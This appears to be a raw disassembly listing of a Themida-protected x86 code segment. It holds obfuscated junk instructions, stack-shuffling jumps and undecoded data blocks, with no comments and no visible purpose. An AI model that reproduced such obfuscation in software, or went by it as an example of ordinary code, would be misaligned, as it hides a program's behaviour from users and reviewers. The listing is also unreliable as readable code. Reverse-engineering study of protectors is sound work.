0D2F705E2h, 0C108EAC1h, 0C28108EAh, 30D7E9EAh, 8272E9h dd 0B9C2D00h, 0F8011B83h, 830B9C05h, 0C449E91Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5586EE: ; CODE XREF: Themida_:00555651j add eax, 4 push edi mov edi, 5A6052EDh xor edi, 5A6052E9h jmp loc_566D87 ; --------------------------------------------------------------------------- dd 0B60F66h, 27016866h, 0FFB4A8E9h, 0E924B3FFh, 86AFh ; --------------------------------------------------------------------------- loc_558718: ; CODE XREF: Themida_:00563347j mov esp, [esp] jmp loc_55581C ; --------------------------------------------------------------------------- dd 0C281E289h, 4, 8704C283h, 48E92414h, 5EFFFFB5h, 59244F29h dd 2434FF53h, 83EEE9h db 0 ; --------------------------------------------------------------------------- loc_558741: ; CODE XREF: Themida_:005552EEj push 776Eh mov [esp], ecx push ebp jmp loc_560D64 ; --------------------------------------------------------------------------- db 81h dd 42404h, 48F0000h, 4EC8124h, 89000000h, 0E950241Ch, 0FFFFBCEAh ; --------------------------------------------------------------------------- loc_558768: ; CODE XREF: Themida_:005587E5j push edx jmp loc_55AED4 ; --------------------------------------------------------------------------- dw 0E981h dd 67D92921h, 3BBBBA52h, 0DAF741DFh, 0CF7AC281h, 0D129141Eh dd 0FFB990E9h db 0FFh ; --------------------------------------------------------------------------- loc_558789: ; CODE XREF: Themida_:00551909j xchg ebp, ebx not ebp xchg ebp, ebx sub ebx, 6FB606E1h xor ebx, 121952F5h push ecx jmp loc_5645EE ; --------------------------------------------------------------------------- db 56h, 89h, 0E6h dd 4C681h, 0C6810000h, 4, 5C243487h, 6866432Ch, 89663D32h dd 0E9502414h, 4AA0h ; --------------------------------------------------------------------------- loc_5587C4: ; CODE XREF: Themida_:0055C8E5j pop edi jmp loc_551BFA ; --------------------------------------------------------------------------- dw 3166h dd 53665EF7h, 665CBB66h, 66DF3166h, 0C2D665Bh, 5CD4E952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5587E2: ; CODE XREF: Themida_:005577BAj push esi push esp pop esi jmp loc_558768 ; --------------------------------------------------------------------------- dw 0D9F7h dd 0B8F18149h, 31CDF49Bh, 4FE959CEh, 66000038h, 55240C8Bh dd 242C8B54h, 4C481h, 0BB530000h, 4, 1983C581h, 0B3E9127Bh db 36h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55881B: ; CODE XREF: Themida_:00551CEAj sub ebp, 21F64922h push edi mov edi, 74AC6333h jmp loc_558D4C ; --------------------------------------------------------------------------- loc_55882C: ; CODE XREF: Themida_:0056635Bj mov ecx, 56B9C660h jmp loc_55475B ; --------------------------------------------------------------------------- dw 489h dd 0DBE5624h, 81558A56h, 3373B5CEh, 0A4BD5549h, 0E9282C13h dd 211Dh, 685DEE31h, 0 dd 5E243429h, 0B2E0F681h, 0EC81F455h, 4, 0E9241489h, 6FCEh ; --------------------------------------------------------------------------- loc_558870: ; CODE XREF: Themida_:0055C4EEj pop esi add ebx, 4 xchg ebx, [esp] mov esp, [esp] push ebx push ecx jmp loc_55EA05 ; --------------------------------------------------------------------------- loc_558884: ; CODE XREF: Themida_:0055E45Ej push esi mov esi, 22DC35D3h xor ebp, esi pop esi mov edi, ebp mov ebp, [esp] add esp, 4 jmp loc_5647B6 ; --------------------------------------------------------------------------- loc_55889D: ; CODE XREF: Themida_:00553F23j push esi mov esi, 72482EE8h add [esp+0Ch], esi pop esi jmp loc_55FF38 ; --------------------------------------------------------------------------- loc_5588AD: ; CODE XREF: Themida_:0055E4EFj push ebp push esp jmp loc_55CFBC ; --------------------------------------------------------------------------- aFFHH db 'f)ßf[hËh',0 align 2 dw 3489h dd 18BE6624h, 0D6F76618h, 8FE68166h, 0C1E1E97Bh, 8155FFFFh dd 4ECh, 0DA91E900h, 0C4810000h, 4, 8704E983h, 895C240Ch dd 0B168241Ch, 8900004Eh, 5DE92414h, 8BFFFFEDh, 0C481243Ch dd 4, 32CCED81h, 0EE0155BEh, 0ACB8505Dh, 17C0A78h, 0E95A58C6h dd 0D72Ah, 0BF57E189h, 4, 835FF901h, 0C8704C1h, 7E045C24h dd 577E952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_558936: ; CODE XREF: Themida_:0055395Aj pop edx add esp, 4 push edi mov edi, 4 sub edx, 0FEF4B3Dh jmp loc_562B22 ; --------------------------------------------------------------------------- loc_55894E: ; CODE XREF: Themida_:0055E99Fj sub ebx, 7C4154A7h shr ebx, 6 sub ebx, 39A745Dh add ebp, ebx pop ebx xchg ebp, [esp] pop esp pop eax or [edi+1Ch], esi jmp loc_556DA2 ; --------------------------------------------------------------------------- loc_55896D: ; CODE XREF: Themida_:0055DA0Aj add edi, 4 xchg edi, [esp] pop esp xor eax, [esp] jmp loc_556852 ; --------------------------------------------------------------------------- dd 241C8B66h, 2C481h, 0D0280000h, 0B3E98A2Ch, 59000047h dd 0EA81DAF7h, 64DF0F2Dh, 0B029F281h, 0BF575A0Dh, 522370A4h dd 0BBEF8147h, 0E956F055h, 0FFFFE5B2h, 5C240487h, 7353E9h db 0 ; --------------------------------------------------------------------------- loc_5589B9: ; CODE XREF: Themida_:0055CFF9j xchg ebp, [esp] mov esp, [esp] mov [esp], eax jmp loc_553487 ; --------------------------------------------------------------------------- loc_5589C7: ; CODE XREF: Themida_:00558DEAj mov [esp], esi sub esp, 4 jmp loc_564470 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 0E9241487h, 60E9h, 546BC681h, 8BE91379h db 0F1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5589EB: ; CODE XREF: Themida_:005543EFj add eax, 6F094444h jmp loc_55AD62 ; --------------------------------------------------------------------------- db 49h, 81h, 0C9h dd 26F717A6h, 7C18149h, 81615A0Ah, 0A9EF56E9h, 0FF5F518Ch dd 53592434h, 0E957E389h, 7907h ; --------------------------------------------------------------------------- loc_558A18: ; CODE XREF: Themida_:00555998j pop esi sub eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] mov [esp], edi jmp loc_55C97A ; --------------------------------------------------------------------------- dw 4BAh dd 0E9000000h, 190Ch, 0B3E95359h, 870000B4h, 69E92434h db 0DDh, 2 dup(0) ; --------------------------------------------------------------------------- loc_558A4B: ; CODE XREF: Themida_:005542F8j mov edx, 7AD12BCCh neg edx push ecx mov ecx, 4E95307Bh or edx, ecx pop ecx jmp loc_552A8E ; --------------------------------------------------------------------------- loc_558A60: ; CODE XREF: Themida_:00563AF4j mov eax, 38633079h xor eax, 4026C02h shr eax, 2 add eax, 3558AE7Ch sub esp, 4 jmp loc_564132 ; --------------------------------------------------------------------------- loc_558A7D: ; CODE XREF: Themida_:00553336j pop ebp jmp loc_55D9B8 ; --------------------------------------------------------------------------- db 81h dd 0BB61B4EDh, 0D8C58101h, 81347560h, 0A1FE27F5h, 7A42D22h dd 7CE937A5h, 0B500007Eh, 0C7CBE9BBh, 3C89FFFFh, 81E78924h dd 4ECh, 242C8900h, 41322068h, 0D5F75D07h, 4A70C581h, 58685B9Ah dd 8900007Ch, 68BA2414h, 83565949h, 0F28101C2h, 16B647C4h dd 7ED5EA81h, 686147h, 29000000h, 34FF2414h, 0C4815A24h dd 4, 0E6AFC281h, 0D50916F6h, 0FF9491E9h db 0FFh ; --------------------------------------------------------------------------- loc_558AFD: ; CODE XREF: Themida_:00560C46j pop edi add ecx, eax pop eax sub ecx, 4 push 7357h mov [esp], ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] jmp loc_566B52 ; --------------------------------------------------------------------------- loc_558B1C: ; CODE XREF: Themida_:00563086j add edx, 4 jmp loc_555A33 ; --------------------------------------------------------------------------- db 66h dd 68240C8Bh, 456Dh, 0DEC5E9h db 0 ; --------------------------------------------------------------------------- loc_558B35: ; CODE XREF: Themida_:0055EC7Fj pop esp mov [esp], edx mov edx, 0CAA130Bh xor edx, 3C1310DCh sub edx, 0E5D284FDh sub eax, edx mov edx, [esp] add esp, 4 push ecx push ebp mov ebp, esp jmp loc_557557 ; --------------------------------------------------------------------------- loc_558B5B: ; CODE XREF: Themida_:00551A66j xchg ebp, [esp] pop esp pop edi mov si, 6957h xor si, bp pop ebp jmp loc_557F0D ; --------------------------------------------------------------------------- loc_558B6D: ; CODE XREF: Themida_:0055AB63j push esi push esp pop esi push ebx mov ebx, 28AB32F2h jmp loc_55CAAD ; --------------------------------------------------------------------------- loc_558B7B: ; CODE XREF: Themida_:0055319Ej mov ebp, [esp] add esp, 4 jmp loc_55C72A ; --------------------------------------------------------------------------- db 0FFh, 0Ch, 24h dd 0FFB5B5E9h, 0F6BA52FFh, 8166852Dh, 0D1F1F4EAh, 5AD7895Ch dd 38FBEF81h, 0A5E91367h, 830000D6h, 0E904C4h db 90h, 2 dup(0) ; --------------------------------------------------------------------------- loc_558BB3: ; CODE XREF: Themida_:0055733Ej pop esp sub [edi+24h], ebx push dword ptr [esp] pop ebx add esp, 4 push ebx push dword ptr [esp] push dword ptr [esp] pop eax push eax mov eax, esp jmp loc_55D11D ; --------------------------------------------------------------------------- a_s db '_é¸&',0 align 4 dd 240C8966h, 0C8B60F66h, 0E99C5166h, 0FFFF8B0Ah, 0E1C2815Dh dd 81115755h, 41937BF2h, 8BD30143h, 0C4812414h, 4, 8904EC83h dd 47B9240Ch, 0F74C9172h, 9B32E9D1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_558C0E: ; CODE XREF: Themida_:0055B287j push dword ptr [esp] mov esi, [esp] push ecx mov ecx, esp push esi mov esi, 4 jmp loc_552526 ; --------------------------------------------------------------------------- dw 0F229h dd 88EA815Eh, 517B0C63h, 0F73D5CB9h, 59CA0142h, 0E904EC83h dd 0FFFFF59Bh, 0C7C9805Ah, 4CB65266h, 5A66F128h, 0F9EB80h dd 5AB151CBh, 0B2E9D1F6h, 0E9FFFFF5h, 0FFFF8A92h, 48B665Ch dd 4EC8124h, 89000000h, 5E542434h, 4C681h, 0E9510000h dd 0A280h ; --------------------------------------------------------------------------- loc_558C78: ; CODE XREF: Themida_:0055CF2Fj mov [esp], ecx mov ecx, 0 add ecx, eax push edi jmp loc_5662B3 ; --------------------------------------------------------------------------- dd 0ED81CD01h, 8196A14h, 81240C8Bh, 4C4h, 2C58300h, 31242C33h dd 2C33242Ch, 0FFB2E924h, 3FE9FFFFh, 81FFFF8Ah, 4ECh, 240C8900h dd 0FFAD03E9h db 0FFh ; --------------------------------------------------------------------------- loc_558CBD: ; CODE XREF: Themida_:005595E5j mov [esp], ecx push 66C248CEh push dword ptr [esp] push dword ptr [esp] pop ecx add esp, 4 add esp, 4 xor eax, ecx push dword ptr [esp] pop ecx push edi mov edi, esp add edi, 4 jmp loc_55184B ; --------------------------------------------------------------------------- aSs_0 db '^SéÀ-',0 dd 24048B00h, 4D2A68h, 3934E900h, 0EAC10000h, 40F28105h dd 0F7457C64h, 84BDE9DAh, 5580000h, 4, 42Dh, 24048700h dd 80E9545Ch, 8BFFFFB9h, 0C4832414h, 2434FF04h, 2AECE9h dd 42D2F700h, 1A3EEA81h, 0D029D06Eh, 6FBB535Ah, 0E907E37Fh dd 559h ; --------------------------------------------------------------------------- loc_558D44: ; CODE XREF: Themida_:0056228Fj mov edi, [esp] jmp loc_5650E0 ; --------------------------------------------------------------------------- loc_558D4C: ; CODE XREF: Themida_:00558827j or ebp, edi mov edi, [esp] add esp, 4 xor ebp, 72291DA8h jmp loc_562CA8 ; --------------------------------------------------------------------------- loc_558D62: ; CODE XREF: Themida_:0055F0BFj pop esp jmp loc_5516EE ; --------------------------------------------------------------------------- loc_558D68: ; CODE XREF: Themida_:0055B682j push ebp push esi jmp loc_557A57 ; --------------------------------------------------------------------------- db 2Ch dd 91F7E909h db 2 dup(0) ; --------------------------------------------------------------------------- loc_558D76: ; CODE XREF: Themida_:00565B48j dec ecx push ebx mov ebx, 4D4F169Fh add ebx, 0F00E28F2h xor ecx, ebx mov ebx, [esp] add esp, 4 sub ebx, 57483797h jmp loc_55FAAE ; --------------------------------------------------------------------------- loc_558D96: ; CODE XREF: Themida_:005650EEj push dword ptr [esp] mov ecx, [esp] push ebp push esp pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_553F90 ; --------------------------------------------------------------------------- loc_558DB4: ; CODE XREF: Themida_:0055D2DFj mov esp, [esp] push eax push esp pop eax push esi mov esi, 0E5B22E4h add esi, 0F1A4DD20h sub eax, 0F862460h jmp loc_556079 ; --------------------------------------------------------------------------- loc_558DD0: ; CODE XREF: Themida_:00553032j pop esp sub ebx, 6CB400F2h add ebx, 74C40E11h sub ebx, eax sub ebx, 74C40E11h push 1E18h jmp loc_5589C7 ; --------------------------------------------------------------------------- db 81h dd 0D5BAADF6h, 5EF301E0h, 8704C383h, 248B241Ch, 240C8724h dd 409665Ch, 0DFE99C24h db 88h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558E0F: ; CODE XREF: Themida_:00565AACj add esp, 4 push edx push 71FBh jmp loc_55CD19 ; --------------------------------------------------------------------------- loc_558E1D: ; CODE XREF: Themida_:0055E483j mov esi, 2222736h push ecx jmp loc_555178 ; --------------------------------------------------------------------------- dd 81DEF75Bh, 514F36EEh, 1456E98Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_558E36: ; CODE XREF: Themida_:00559C5Dj and esi, 69E50493h dec esi add esi, 0FFFFFFFFh sub esi, 0DBA3D6A0h add ebx, esi pop esi mov edx, [esp] push esi mov esi, esp add esi, 4 jmp loc_55CAF2 ; --------------------------------------------------------------------------- db 4Fh, 81h, 0C7h dd 18631B6Bh, 4B5FFB89h, 8EBC14Bh, 0A2C38143h, 2166B729h dd 0B8505BDFh, 3FF72A29h, 3FE9C731h, 0C1FFFFA2h, 84E907E6h db 0D9h, 2 dup(0) ; --------------------------------------------------------------------------- loc_558E8B: ; CODE XREF: Themida_:0055A1C7j pop ecx pop dword ptr [esp] pop esp mov [esp], ebp jmp loc_5614C5 ; --------------------------------------------------------------------------- dd 52E08950h, 0F019F1BAh, 4DBF5762h, 4F796125h, 6F83E9h dd 0E9BBB200h, 0FFFFD56Ch, 405h, 4C08300h, 8B240487h, 5E2C2424h dd 5E04E828h, 0E9536659h, 560Eh, 31243433h, 34332434h dd 24248B24h, 2474FF57h, 444E904h, 0E8280000h, 922C59h dd 67B151D8h, 0C0E7C980h, 0B75304E9h, 5BF90084h, 0E959C800h dd 0FFFFCFCBh, 0F83E95Eh, 0F9050000h, 524B468h, 4DE12614h dd 3C46E9h, 243C3100h, 0FFBDD7E9h, 7BA968FFh, 0C890000h dd 33E1E924h, 0EE810000h, 0ACC7451h, 0FFEFF4E9h, 52DAF7FFh dd 5A240CFFh, 0EA81DAF7h, 6E80F345h, 295AD601h, 0A61EE9F0h dd 0C1810000h, 4, 4C181h, 0C870000h, 0C3815C24h, 5BB67188h dd 0EB81CB01h, 5BB67188h, 0E9240C8Bh, 0C6F7h ; --------------------------------------------------------------------------- loc_558F78: ; CODE XREF: Themida_:00555A53j sub edi, 0BCCB035Ch mov ebx, edi pop edi add edi, ebx mov ebx, [esp] add esp, 4 add edi, 4 jmp loc_562E34 ; --------------------------------------------------------------------------- loc_558F97: ; CODE XREF: Themida_:00557B03j mov ebx, esp add ebx, 4 add ebx, 4 push ebx jmp loc_553610 ; --------------------------------------------------------------------------- loc_558FA8: ; CODE XREF: Themida_:0055375Ej pop ebp add edx, edi push dword ptr [esp] jmp loc_56638D ; --------------------------------------------------------------------------- db 81h dd 0A7D30FE9h, 59CA89D0h, 8245429h, 2474015Ah, 0EDBD5504h dd 156506Ch, 5D08246Ch, 0E924348Bh, 5FA5h, 6EE9D689h, 800000C4h dd 0E980FAC9h, 59CB0002h, 1C1CE9h, 24343100h, 0E9243433h dd 1DA1h, 4C281h, 63E90000h db 91h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559003: ; CODE XREF: Themida_:00553368j or edx, eax jmp loc_5520E8 ; --------------------------------------------------------------------------- aYs db 'Yé/Ê',0 align 10h loc_559010: ; CODE XREF: Themida_:005629DCj sub ebx, 0FFFFFFFFh jmp loc_562827 ; --------------------------------------------------------------------------- dd 4010D8BEh, 77EE815Fh, 0E94F525Fh, 9642h ; --------------------------------------------------------------------------- loc_559028: ; CODE XREF: Themida_:00565427j sub edx, 86E15AFh add edx, ecx add edx, 86E15AFh mov ecx, [esp] add esp, 4 jmp loc_551813 ; --------------------------------------------------------------------------- loc_559041: ; CODE XREF: Themida_:0056643Bj add esi, 8FD5162Ch add edi, 2BE93769h jmp loc_5653D4 ; --------------------------------------------------------------------------- dw 489h dd 25E95224h, 1000002h, 0D0C681D6h, 5A0BCD28h, 8B243487h dd 7BE92424h, 1000033h, 0BD5557F9h, 5AF40208h, 4F1851BFh dd 8BEF01FAh, 0C483242Ch, 0BBF78104h, 51347741h, 7A5FE9h dd 41BE5600h, 5540692Fh, 0A775FEBDh, 0CBBA5223h, 0F7744A24h dd 0DDC281DAh, 8171A063h, 82974F2h, 0B951420Dh, 0F7B7EA8Fh dd 8159CA29h, 11715C5h, 0DD3BE908h, 0E6C1FFFFh, 86E94606h dd 66FFFFA5h, 6824048Bh, 1190h, 54240C89h, 592434FFh, 7752E951h dd 815E0000h, 4C6h, 4C68300h, 5C243487h, 8B240487h, 1AE92424h dd 59000036h, 0C581DD01h, 1BC4635Ah, 2C5835Bh, 8B242C87h dd 24D32424h, 0D3E99C24h, 81FFFF85h, 4C4h, 0E2895200h dd 4C281h, 83E90000h, 83000007h, 348704C6h, 48F5C24h, 24248B24h dd 50E18951h, 4B8h, 58C10100h, 75F7E950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55914E: ; CODE XREF: Themida_:00555076j shl eax, 6 jmp loc_55CF13 ; --------------------------------------------------------------------------- dw 93E9h dd 1FFFF85h, 71BA52F7h, 87659E1Ch, 31D7F7FAh, 31D731FAh dd 0A4BE56FAh, 294B9AC2h, 9330E9F2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55917A: ; CODE XREF: Themida_:0055B316j jmp loc_5516EE ; --------------------------------------------------------------------------- db 57h dd 0FBE9E789h db 66h, 2 dup(0) ; --------------------------------------------------------------------------- loc_559187: ; CODE XREF: Themida_:00563C64j mov [esp], esi mov esi, 47B5B03h xor eax, esi pop esi add eax, ecx jmp loc_55D558 ; --------------------------------------------------------------------------- loc_559199: ; CODE XREF: Themida_:00559DE6j add eax, 6CF107C4h pop edi push ecx jmp loc_560B88 ; --------------------------------------------------------------------------- loc_5591A5: ; CODE XREF: Themida_:00557021j sub ebx, 0F9ADD288h mov edx, ebx jmp loc_565A2C ; --------------------------------------------------------------------------- dw 0BF57h dd 191D9F25h, 2D5FFE01h, 6C3F6C86h, 8605F029h, 5E6C3F6Ch dd 790BEA81h, 0C20102F2h, 9F05E956h, 0CD81FFFFh, 393E2BD8h dd 427CBF57h, 0FD296CE1h, 37F5815Fh, 81621220h, 6C1B03C5h dd 5DE88981h, 7427E9h db 0 ; --------------------------------------------------------------------------- loc_5591F9: ; CODE XREF: Themida_:00562A83j sub eax, 29D02824h add eax, 36A1138h xor eax, 1F4074EEh or edi, eax mov eax, [esp] add esp, 4 jmp loc_55C050 ; --------------------------------------------------------------------------- dd 0E35E76B8h, 5E8C109h, 2B44B005h, 0E9C13101h, 0D972h ; --------------------------------------------------------------------------- loc_55922C: ; CODE XREF: Themida_:0055EA4Dj sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] push esp pop dword ptr [esp] add dword ptr [esp], 4 push dword ptr [esp] pop ebp add esp, 4 push edi mov edi, 5BEF010Ch add edi, 19072C74h shr edi, 5 or edi, 8C47E80h jmp loc_564E31 ; --------------------------------------------------------------------------- db 89h dd 0E0E957E1h db 3, 2 dup(0) ; --------------------------------------------------------------------------- loc_55926F: ; CODE XREF: Themida_:0055C9EDj not esi shr esi, 7 jmp loc_5602D1 ; --------------------------------------------------------------------------- db 28h, 0C3h, 0E9h dd 52F7h, 0F088DE88h, 0B8C8E9h, 0FFC80000h, 57592434h dd 0BB535F54h, 3C0F7017h, 0FFE2E1E9h, 0E4E94BFFh, 0C1000023h dd 564E08E6h, 0E92414F7h, 0FFFFB7D6h ; --------------------------------------------------------------------------- loc_5592B0: ; CODE XREF: Themida_:00561A57j sub esi, 6D0A121Ah add esi, 1D0E1F1Dh push ebx mov ebx, esi mov ecx, ebx pop ebx pop esi add ebp, ecx pop ecx xchg ebp, [esp] mov esp, [esp] sub esp, 4 mov [esp], edx mov dl, 15h sub dl, 48h add ch, dl jmp loc_55E8B0 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push eax mov eax, 4 sub ebp, eax pop eax xchg ebp, [esp] pop esp mov [esp], eax jmp loc_555414 ; --------------------------------------------------------------------------- db 51h dd 0BE56E189h, 4, 348BF101h, 4C48324h, 4C181h, 0C870000h dd 7FE95C24h db 66h, 2 dup(0) ; --------------------------------------------------------------------------- loc_559323: ; CODE XREF: Themida_:0055636Aj pop ebp push ecx jmp loc_551CB1 ; --------------------------------------------------------------------------- dw 0E95Fh dd 0FFFFA5C4h, 1BE9E189h, 8BFFFFFCh, 0EC81240Ch, 4, 0FFBB26E9h dd 52E95AFFh, 5CFFFFD1h, 9C243CD3h, 0FF8399E9h, 243C89FFh dd 0D4BDE9h db 0 ; --------------------------------------------------------------------------- loc_55935D: ; CODE XREF: Themida_:00563F4Cj xor esi, [esp] xor [esp], esi jmp loc_555EE5 ; --------------------------------------------------------------------------- dd 7A098BBFh, 0DC8BE908h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559372: ; CODE XREF: Themida_:00562653j xor ecx, [esp] jmp loc_55BB9E ; --------------------------------------------------------------------------- loc_55937A: ; CODE XREF: Themida_:0055CD3Bj pop esp push edi jmp loc_5652A2 ; --------------------------------------------------------------------------- loc_559381: ; CODE XREF: Themida_:00563EB2j xor eax, ecx push 2897h jmp loc_55815F ; --------------------------------------------------------------------------- db 80h, 0C2h, 0E2h dd 861CC280h, 30D4F6E2h, 0D5CE9E2h, 0E6890000h, 4C681h dd 0C6830000h, 4EC8304h, 0FF243489h, 8B042474h, 0C4812434h dd 4, 5C24048Fh, 3302C683h, 34312434h, 24343324h, 7E80E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_5593D2: ; CODE XREF: Themida_:00566C7Ej sub esp, 4 mov [esp], ebx push esp pop ebx add ebx, 4 push eax mov eax, 4 jmp loc_5621AF ; --------------------------------------------------------------------------- dw 489h dd 5E08924h, 4, 405h, 3CFBE900h, 57580000h, 85046BBFh dd 5FF8092Ch, 3305D8F7h, 50757BBEh, 993CE9h, 81F30100h dd 2306A6C3h, 2434FF54h, 6692E95Eh, 51500000h, 0B625A168h dd 0C181595Eh, 0C1E2ED11h, 0FDE9C889h, 2DFFFFF5h, 38E53BBFh dd 0FFF8D6E9h, 0ACC780FFh, 0FFCE1BE9h db 0FFh ; --------------------------------------------------------------------------- loc_559451: ; CODE XREF: Themida_:005652D1j add eax, 313A23D0h sub eax, 69C259B6h sub eax, ebx add eax, 69C259B6h sub eax, 313A23D0h push edi push ebp jmp loc_55482D ; --------------------------------------------------------------------------- dw 815Ah dd 4AB7D5EAh, 0E9D089ADh, 0FFFF82F0h, 240C8B66h, 9918E9h db 0 ; --------------------------------------------------------------------------- loc_559485: ; CODE XREF: Themida_:0055AF80j push ecx jmp loc_55C8EA ; --------------------------------------------------------------------------- loc_55948B: ; CODE XREF: Themida_:00553343j sub ebp, eax jmp loc_560C29 ; --------------------------------------------------------------------------- loc_559492: ; CODE XREF: Themida_:00553870j push edi mov edi, 0DF85691h jmp loc_56058F ; --------------------------------------------------------------------------- loc_55949D: ; CODE XREF: Themida_:005612B9j push 2AF9h mov [esp], esi push esp mov esi, [esp] add esp, 4 add esi, 4 add esi, 4 jmp loc_560A64 ; --------------------------------------------------------------------------- db 87h, 34h, 24h dd 241C895Ch, 0C16748BBh, 46F38126h, 811EE846h, 1C1D36EBh dd 0D396E90Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_5594DA: ; CODE XREF: Themida_:005614C0j mov [esp], edx push ebp push edi mov edi, 782B14CCh or edi, 70053BECh xor edi, 46006789h jmp loc_55AAA4 ; --------------------------------------------------------------------------- db 9, 0C8h, 59h dd 5304E0C1h, 6ECAE9h db 0 ; --------------------------------------------------------------------------- loc_559501: ; CODE XREF: Themida_:0055AEA0j push edi mov edi, esp add edi, 4 add edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp jmp loc_564E25 ; --------------------------------------------------------------------------- db 46h dd 0F746D6F7h, 0A5F681DEh, 0E9A7E6ACh, 0AE27h ; --------------------------------------------------------------------------- loc_559530: ; CODE XREF: Themida_:00553192j push dword ptr [esp+4] pop eax jmp loc_5643D5 ; --------------------------------------------------------------------------- dw 0FA01h dd 81ACE95Fh, 0D989FFFFh, 7E622D5Bh, 9F2D475Dh, 549F449h dd 51674A14h, 7EE9C801h, 8B000065h, 68552404h, 3D86h, 51242489h dd 1B12BA52h, 0E2C10710h, 37EA8104h, 0C10ADB4Ch, 0E94203E2h dd 0FFFFDA36h, 1478E945h db 2 dup(0) ; --------------------------------------------------------------------------- loc_559586: ; CODE XREF: Themida_:00565045j mov eax, [esp] add esp, 4 add edx, ebx jmp loc_565827 ; --------------------------------------------------------------------------- db 83h dd 1C8904ECh, 81E38924h, 4C3h, 4C38100h, 83000000h, 1C8904ECh dd 2474FF24h, 4742E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5595B6: ; CODE XREF: Themida_:005565C3j mov edx, esp add edx, 4 jmp loc_5665D6 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 0C0CE900h, 5A0000h, 0E9DB04D8h, 6645h, 8110E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5595DE: ; CODE XREF: Themida_:0055CA2Ej pop ecx pop dword ptr [esp] mov esp, [esp] jmp loc_558CBD ; --------------------------------------------------------------------------- dw 8F66h dd 80FCE902h, 1C87FFFFh, 9EE95C24h, 890000A7h, 9B1BE9D7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_559602: ; CODE XREF: Themida_:00556026j xchg edx, edi push edx mov edx, 4BA36E8Eh add edx, 279D4613h jmp loc_55B7F5 ; --------------------------------------------------------------------------- db 66h, 50h, 0B4h dd 0A3C4800Fh, 0FFAF08E9h db 0FFh ; --------------------------------------------------------------------------- loc_559621: ; CODE XREF: Themida_:00555740j mov cl, 7 push bx mov bl, 36h sub cl, bl jmp loc_552E34 ; --------------------------------------------------------------------------- loc_55962E: ; CODE XREF: Themida_:005528D7j xor eax, 461937CEh neg eax push ecx mov ecx, 0DE1D7868h jmp loc_55566B ; --------------------------------------------------------------------------- dd 8B241C87h, 14892424h, 79E95024h, 0BF0000BDh, 4, 815FF901h dd 4C1h, 240C8700h, 6465E9h, 6FC5BD00h, 0E829486Fh, 3AB1E95Dh dd 0D8F70000h, 0E908E8C1h, 1727h, 4C481h, 1C330000h, 241C3124h dd 5C241C33h, 0E9243C89h, 9B43h, 8B58C689h, 0C481242Ch dd 4, 37C18158h, 8110AE2Ch, 0B02436E9h, 0E9F10101h, 77D8h ; --------------------------------------------------------------------------- loc_5596B4: ; CODE XREF: Themida_:0055A094j add esp, 4 pop ebx jmp loc_563939 ; --------------------------------------------------------------------------- db 68h, 21h, 25h dd 0C890000h, 7550B924h, 0EC833BB7h, 242C8904h, 0D652C7BDh dd 6E5C178h, 0FFFFB850h, 0C581FFFFh, 71075B29h, 0E9C529h dd 5200009Ah, 24148B54h, 4C481h, 0FAE90000h, 0FF00001Ah dd 51592434h, 0C181E189h, 4, 8704C183h, 0E95C240Ch, 5902h dd 0C281E289h, 4, 3304C283h, 14312414h, 24143324h, 0BCC7E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55972E: ; CODE XREF: Themida_:005622B9j push ebp mov ebp, 2CCE4555h not ebp not ebp neg ebp add ebp, 7F9EAE06h jmp loc_55C095 ; --------------------------------------------------------------------------- db 68h, 34h, 1Eh dd 1C890000h, 0B9515724h, 55605C13h, 5159CF89h, 4C56B7B9h dd 0A88BB7Eh, 0CB312B2Ch, 83240C8Bh, 0FB2904C4h, 56243C8Bh dd 0E950E689h, 0D47Ah ; --------------------------------------------------------------------------- loc_559778: ; CODE XREF: Themida_:0055DE41j add ecx, 0FFFFFFFFh jmp loc_555BA7 ; --------------------------------------------------------------------------- db 5Dh dd 5304C383h, 42474FFh, 0FFC48FE9h, 0B151ACFFh, 59C80043h dd 533EB151h, 0CF80D8B7h, 80D7F69Dh, 0F90053F7h, 0FADBE95Bh dd 0ED81FFFFh, 23287737h, 0B850D501h, 23287737h, 0FF871FE9h dd 5F001FFh, 15311F1Fh, 74FF505Eh, 48B0424h, 4C48124h dd 0E9000000h, 0FFFFC7BAh ; --------------------------------------------------------------------------- loc_5597DC: ; CODE XREF: Themida_:0055CE17j sub ebp, 2CD3404h or ebp, 7B436B65h jmp loc_55558C ; --------------------------------------------------------------------------- db 8Bh, 1Ch, 24h dd 5E08950h, 4, 8704C083h, 555C2404h, 4BDh, 8F23E900h dd 0F7890000h, 0AAC6E95Eh, 0FCBBFFFFh, 8928A82Eh, 0D0F75BD8h dd 6259BD55h, 0E8212106h, 0FFD0D6E9h, 7EC0E9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55982E: ; CODE XREF: Themida_:005657A0j mov edi, edx pop edx or esi, edi push dword ptr [esp] pop edi sub esp, 4 jmp loc_552FB1 ; --------------------------------------------------------------------------- dw 0C33h dd 0E01DE924h, 0B1B8FFFFh, 29E026E7h, 24048BC6h, 2904C483h 